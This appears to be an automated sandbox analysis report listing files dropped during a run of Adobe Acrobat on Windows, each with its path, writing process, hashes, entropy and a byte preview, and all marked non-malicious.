Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x594eb746, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221140899219136
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	4697186D60D6F52B22EE578B89CCCF20
SHA1:	277FA2013B75EA138FC62510A25F0CBD1085D23D
SHA-256:	243F7C97854E7C92471FF74D95D9881974B3B60F87890106808A85AEE7903BB9
SHA-512:	E2E8B434541657AF3BFC26818E9ED5D53756DADDE6748B6C8A602B14966F11DEC609E5E0BC6B76480EBFB73210B684FFCBBA3248B7FF96CABF00541C95528D07
Malicious:	false
Preview:	YN.F... .......A.......X\...;...{......................0.!..........{A.$9...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................$9...}...................#PF$9...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07664768309124734
Encrypted:	false
SSDEEP:	3:iXEYe2XukSukjn13a/FvXMol/lollcVO/lnlZMxZNQl:iUziukSv53qlXM4GOewk
MD5:	E2A5BA2E2513512715709B6769D09886
SHA1:	62CEF74CC29093E4B3944A3B0F1FE6424DCB63E4
SHA-256:	769D25A58156637FC35604255DEDE8FE6E057A42B1AD5DB0906CAD8456B5AD8D
SHA-512:	FEE87FF86BE3474743931525891794C0A6792131C19D756984BF517E84BC2C00C1D4FC88F848DA23EACAA163B2FAD6FCBAAB4E6132B91D0781DFFC98EA58BFFD
Malicious:	false
Preview:	.`.D.....................................;...{..$9...}.......{A..............{A......{A..........{A].................#PF$9...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.27419873636511
Encrypted:	false
SSDEEP:	6:iO4qXf9cFt+q2Pwkn2nKuAl9OmbnIFUtSqXfQZmwsqXfAVkwOwkn2nKuAl9Ombjd:7po+vYfHAahFUtLQ/1AV5JfHAaSJ
MD5:	50D69C2071D2673E929496EDC7CB212B
SHA1:	DFDF9F5872E1F154D9039AA548F98B4BEB91175F
SHA-256:	4078204E54B44724E7F45F2F1B0E7D68D2C451A08502FDDA6E3CA6C93EF92ED3
SHA-512:	FD89D791361211F5066499D4FE78980ED1F90D94DCA4387BF959113F329D049A65B89CCC5C6E184EDF6A2598998E2CE1620A1CFCEA1047CAACA8C9268995BF50
Malicious:	false
Preview:	2025/01/10-22:57:34.639 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:57:34.648 1fdc Recovering log #3.2025/01/10-22:57:34.648 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.27419873636511
Encrypted:	false
SSDEEP:	6:iO4qXf9cFt+q2Pwkn2nKuAl9OmbnIFUtSqXfQZmwsqXfAVkwOwkn2nKuAl9Ombjd:7po+vYfHAahFUtLQ/1AV5JfHAaSJ
MD5:	50D69C2071D2673E929496EDC7CB212B
SHA1:	DFDF9F5872E1F154D9039AA548F98B4BEB91175F
SHA-256:	4078204E54B44724E7F45F2F1B0E7D68D2C451A08502FDDA6E3CA6C93EF92ED3
SHA-512:	FD89D791361211F5066499D4FE78980ED1F90D94DCA4387BF959113F329D049A65B89CCC5C6E184EDF6A2598998E2CE1620A1CFCEA1047CAACA8C9268995BF50
Malicious:	false
Preview:	2025/01/10-22:57:34.639 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:57:34.648 1fdc Recovering log #3.2025/01/10-22:57:34.648 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.224012129679291
Encrypted:	false
SSDEEP:	6:iO4qXf/Vq2Pwkn2nKuAl9Ombzo2jMGIFUtSqXfQwgZmwsqXfVIkwOwkn2nKuAl97:7p/VvYfHAa8uFUtLQwg/1VI5JfHAa8RJ
MD5:	CE2FB1936B38BB61F4959EA5794AA1A6
SHA1:	1FB2AE69BA8A498686E25EC0D313D4DE1F6336BF
SHA-256:	5945C7FF58E54845F41EAF202EFE6D3AC2E9104253189E89E039B46BDC694979
SHA-512:	B57CF16680C5679E82FAA9BBE18FF8F292E8D3CED0C9438A8E344A585F9DD8CEC8E6C5E537D8854722394EC43CF0143B57EDD917365F5B600DE267138353EC33
Malicious:	false
Preview:	2025/01/10-22:57:34.741 860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:57:34.745 860 Recovering log #3.2025/01/10-22:57:34.747 860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.224012129679291
Encrypted:	false
SSDEEP:	6:iO4qXf/Vq2Pwkn2nKuAl9Ombzo2jMGIFUtSqXfQwgZmwsqXfVIkwOwkn2nKuAl97:7p/VvYfHAa8uFUtLQwg/1VI5JfHAa8RJ
MD5:	CE2FB1936B38BB61F4959EA5794AA1A6
SHA1:	1FB2AE69BA8A498686E25EC0D313D4DE1F6336BF
SHA-256:	5945C7FF58E54845F41EAF202EFE6D3AC2E9104253189E89E039B46BDC694979
SHA-512:	B57CF16680C5679E82FAA9BBE18FF8F292E8D3CED0C9438A8E344A585F9DD8CEC8E6C5E537D8854722394EC43CF0143B57EDD917365F5B600DE267138353EC33
Malicious:	false
Preview:	2025/01/10-22:57:34.741 860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:57:34.745 860 Recovering log #3.2025/01/10-22:57:34.747 860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\27a9853d-c640-4843-ad14-082ffffc84f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.95688498962853
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBXhsBdOg2Hfgcaq3QYiubInP7E4T3y:Y2sRdsCydMHfL3QYhbG7nby
MD5:	B5D4DB3D2DA6EAD43F35470F050006ED
SHA1:	157582CBE077099C1043CDF38AEA62A475A71A20
SHA-256:	940930260F6A9B3037AD05613245274EAAB268126BEE7D1D363DA74F993B5CB7
SHA-512:	3D1CAAD4BE67EA64642A6442140E3A47FFDE9E5953E80778C4CE62DE5D74BDAE3B289FC06927CB0DB24D105E162993AA65EEFF8738DF89862A3DD041046206EA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127866958416","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126843},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.95688498962853
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBXhsBdOg2Hfgcaq3QYiubInP7E4T3y:Y2sRdsCydMHfL3QYhbG7nby
MD5:	B5D4DB3D2DA6EAD43F35470F050006ED
SHA1:	157582CBE077099C1043CDF38AEA62A475A71A20
SHA-256:	940930260F6A9B3037AD05613245274EAAB268126BEE7D1D363DA74F993B5CB7
SHA-512:	3D1CAAD4BE67EA64642A6442140E3A47FFDE9E5953E80778C4CE62DE5D74BDAE3B289FC06927CB0DB24D105E162993AA65EEFF8738DF89862A3DD041046206EA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127866958416","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126843},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255841550184567
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7/0Ph:etJCV4FiN/jTN/2r8Mta02fEhgO73goy
MD5:	E937061552120358770BE2AA203C627D
SHA1:	26FB48471E7984948FAB46CF4376310C0712EAC4
SHA-256:	7258C3190F30982B1E0469AB1C5B77E497EB9602311DD0FFA07400C475239B5E
SHA-512:	8B12361415F790015C07F80B8FAF52510209F873CF5ADBD47267BFA5118E50A923665EA51168FC5E8C6591F32838E4F725DDBDF8E2800DC4224510605F16A118
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.176457407431493
Encrypted:	false
SSDEEP:	6:iO4qXfv2Vq2Pwkn2nKuAl9OmbzNMxIFUtSqXft8gZmwsqXf8dZSIkwOwkn2nKuAo:7puVvYfHAa8jFUtLt8g/18dZSI5JfHAo
MD5:	59DDCBF1B050728A591DA0356005EEA0
SHA1:	3E303084E652194A1DABBC86B5B318246857594A
SHA-256:	C00A1A28A3CA1FDB2029DD7EC8FCD022E4E4B857C6AE6D0D522A4BCE2D7C3ADF
SHA-512:	13B611849CBCB54FF87C963280903606D3719E106B8A0CDD4A5A38B53B4E8619AF1A8C355AC1110FBBCF89A9E2A2FAEE7EF6C0274FDAA19B16FECD3DD412B331
Malicious:	false
Preview:	2025/01/10-22:57:35.040 860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:57:35.062 860 Recovering log #3.2025/01/10-22:57:35.070 860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.176457407431493
Encrypted:	false
SSDEEP:	6:iO4qXfv2Vq2Pwkn2nKuAl9OmbzNMxIFUtSqXft8gZmwsqXf8dZSIkwOwkn2nKuAo:7puVvYfHAa8jFUtLt8g/18dZSI5JfHAo
MD5:	59DDCBF1B050728A591DA0356005EEA0
SHA1:	3E303084E652194A1DABBC86B5B318246857594A
SHA-256:	C00A1A28A3CA1FDB2029DD7EC8FCD022E4E4B857C6AE6D0D522A4BCE2D7C3ADF
SHA-512:	13B611849CBCB54FF87C963280903606D3719E106B8A0CDD4A5A38B53B4E8619AF1A8C355AC1110FBBCF89A9E2A2FAEE7EF6C0274FDAA19B16FECD3DD412B331
Malicious:	false
Preview:	2025/01/10-22:57:35.040 860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:57:35.062 860 Recovering log #3.2025/01/10-22:57:35.070 860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445049463007716
Encrypted:	false
SSDEEP:	384:Sefci5tQiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:3ns3OazzU89UTTgUL
MD5:	F224BD3EC22029A898D649FF5C8E05A4
SHA1:	551E58DCB4F71AC1B8EC108EAAE6B5B50039E9FE
SHA-256:	CDD2701BC473EA02B4A0F2BD67341A797E5066554C8E4CC75D8E5EB2A0F19D86
SHA-512:	AF495FDA2BD38C2174CDF5056E4F1C70C8A86CCFC8F9FE98C717E6468AA8F844C76B4ADE08DBD9E0F363699C9BA0976346AF492152862F9D116D3557F4A55CB1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214235208512529
Encrypted:	false
SSDEEP:	24:7+t4cnuwK1qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MO:7MznC1qvmFTIF3XmHjBoGGR+jMz+LhP
MD5:	11297D300A50E4AAE30ADF1A40DE2139
SHA1:	06F2C597423E81CFC975F07521FC3FFFBA1B33BD
SHA-256:	C23FD2D3B270A549CB94FCCDE87B7FE898AD71BCF4DA67FFF774C4B32E9DA24F
SHA-512:	9EA9E720521B0837ACD24E301697A81C83CCC105297909C37D945BD0F65958D41BC6CAAF69DBF62D08BE931126B49DEDAF326CC1D4D5BB6B6DDBFB07F8F4892F
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklh1M1pkNttfllXlE/HT8k10NNX8RolJuRdxLlGB9lQRYwpDdt:kKBsPeT88ENMa8RdWBwRd
MD5:	C4A5DE8D16F3804D10DC29EB37965973
SHA1:	29A19CC12DC6F162C2F4921A8AA1AF87C29BD40A
SHA-256:	B25DBF2A083D19B62DD0F810B58CBB0AB2CE0900F9B13BE39E3FFB972A69D3CB
SHA-512:	1188D2931FFE5ACE1864EE4EC68EFD9AC30A8EB18D0DD967B1B03A85F8976D5D096BCA981C3C7D22659EF873BDD9BECC39943480542B2379AD561D529387602A
Malicious:	false
Preview:	p...... ........R....c..(....................................................... ..........W....P{..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kK+tL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:SiDnLNkPlE99SNxAhUe/3
MD5:	2EEF100484779F5F3266D71381FA1C83
SHA1:	E20275C05982753EE47FFC542E2C4A14B704F761
SHA-256:	9607914288289C9F405233FFC4A183236BE167F177B724F901B972891077D22D
SHA-512:	D4F3BE4046F3829E04F4AB38DDA75648AABB3F560F134CE2B7AE90CBA5132901B8F425B33DB28819E75D6522F6305C7264C0C0E47DC50F80FB1A0F9811A7A43C
Malicious:	false
Preview:	p...... ........L....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
